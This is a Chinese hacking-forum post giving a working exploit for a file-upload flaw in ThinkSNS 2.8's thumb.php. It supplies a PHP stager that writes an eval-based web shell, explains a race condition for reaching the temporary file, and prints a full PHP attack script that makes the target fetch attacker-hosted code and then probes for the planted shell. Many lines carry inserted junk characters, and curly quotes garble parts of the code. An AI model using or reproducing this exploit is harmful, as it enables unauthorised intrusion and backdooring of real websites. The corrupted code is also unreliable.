找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2129|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
" [, A& C- k2 i+ x. R% n$ b& e存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
6 U5 ?! y5 K0 U9 `- z  g" J3 w& R漏洞文件5 L8 U2 r% z# T3 r, |0 O0 S
存在漏洞的文件为:thumb.php
; c& |& V1 ^" C& {0 j$ q3 V6 a. R作者:韦鲲鹏
' K, k7 H: k, O1、        准备如下PHP文件并上传到服务器(自己的)。( s8 ]; c! J: T/ e8 G$ T8 l
文件内容如下:
+ P( O9 Q: }6 d# x  l<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>, v* q2 l* M! w
2、        计算出临时的文件名:, R9 u/ x1 B- p8 d5 V: S/ A
这里我们可以看文件的99行(刚刚是不是没注意呀!)。1 q0 b6 Z' y8 ^7 z; p9 ^/ L/ N& f
9 c* W0 i- S5 q4 }' [
3、        上传临时文件。! Y* ^+ o6 d( _2 p, B" @* D8 }! I
4、        访问临时文件。( ^( ]/ `1 q& c) R: x( V
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)8 n$ g- J9 m) h5 \+ t& K
Exploit文件内容如下:(这个我就不详细解释了)
/ r  L, L7 I4 q' R<?php' d" d  o+ F/ l' B3 _# E
error_reporting(0);
' a0 M+ V5 _$ Z' C! ]/ Yset_time_limit(0);$ X6 Y4 |, m0 X8 U& B
ini_set(“default_socket_timeout”, 5);
4 r3 y* w& F3 w( {; G/ k) v2 rfunction http_send($host, $port, $headers) {! T# o3 \$ e( S9 J' L
$fp = fsockopen($host, $port);- _5 x7 }5 R- p' _+ U
if (!$fp) die(‘Connection -> fail’);& y  U- R, x" i9 f, l7 [% L  u
fputs($fp, $headers);, X  n4 v1 |6 v! P- m- q" t( P
return $fp;
; q" I8 A2 W3 x  l; e7 F}
& `$ _7 A( w0 g5 P% Bfunction http_recv($fp) {
% j3 `/ t  I4 K' Q% g$ret=”";
- t+ J3 K) _3 U2 u! Cwhile (!feof($fp))
7 a0 h5 p5 R; E: S/ u' m$ret.= fgets($fp, 1024);
8 w- A3 H; T1 W5 c. Yfclose($fp);# f2 n! g8 h& P, I8 h' h( Y: a
return $ret;
: q# x4 `% E6 I  i6 g}& ^- a$ F' k  @$ M$ C
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
7 w: C6 R: W5 _8 V# Tprint “# Discovered by 韦鲲鹏 #\n\n”;0 j8 j9 @) t5 m: p! k& m+ Z- |, i: z
if ($argc < 4) {
$ t/ c" D3 o4 Z! v* G9 _) Zprint “Usage:   php <host> <path> <romote_url>\n”;+ [; \# s8 \' a: k
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
; p0 L- w5 {: [die();
7 G& H; t$ M* q' T}
1 k0 v. v( _7 I: {$host = $argv[1];
$ @% H, T% v4 G  j) M) ~* J# ^$path = $argv[2];& u  m) I$ `  J2 C& r
$url = $argv[3];1 S8 X( q0 }; H; x6 T
$i=0;
0 u- k: v+ U% o. Q1 J, F//上传数据包0 C( h+ ~6 r, H
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
0 n. n: S2 d/ b# n4 s$headers_up .= “Host: “.$host.”\r\n”;, W. c/ f6 N$ W0 _  ?- p( v
$headers_up .= “Connection: close\r\n\r\n”;
/ G5 w% S3 E6 o1 Y- J# F3 xecho $headers_up;
: Y. p4 X3 L2 x: E( a6 v//临时文件访问数据包
/ D8 L/ ?7 @  k) |. z$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
- o/ d5 a: Y+ j$headers .= “Host: “.$host.”\r\n”;! I: F, ^# ~8 i( N1 [
$headers .= “Connection: close\r\n\r\n”;
  B: j1 `4 G' L; m, oecho $headers;
8 m! i, A, |  Fwhile(++$i<10) {6 x( B9 x: t% q/ h
fclose(http_send($host, 80, $headers));) Q& p. C. U' @( T4 V7 U+ B
}
/ p, T# k- ~* Y# dfclose(http_send($host, 80, $headers_up));" `8 H5 \4 k0 v! b& _
while(++$i<50) {
0 \4 f( i  e7 j" m9 ]' bfclose(http_send($host, 80, $headers));
2 e) Q6 E1 T; W4 r3 X3 a}9 ~) e: o! U& e: h1 I
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
2 Z' a* f" Z; {$headers .= “Host: “.$host.”\r\n”;; S1 g, E7 s* a* I4 Q/ e; F
$headers .= “Connection: close\r\n\r\n”;
4 X2 l; H3 d& o5 ~6 ?5 B& o$res=http_recv(http_send($host, 80, $headers));+ a2 o: ?$ A# c7 ?* M" r
if(preg_match(‘/200 OK/’,$res)) {9 @1 e* U/ y, x  |' ^! ^7 x
print “Success!\n\n”;" C5 p$ X2 ]0 h; `1 S. Q. s0 \& t% B
} else {9 A' i1 c6 H2 y4 [6 f1 r& r% U
print “Fail!\n\n”;
- N5 O- o. Y. N3 E5 L" y4 b}7 j6 B3 z+ d7 i$ x
?>
$ h/ X& q9 n$ i4 n$ `8 B9 a! X$ d, p' f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表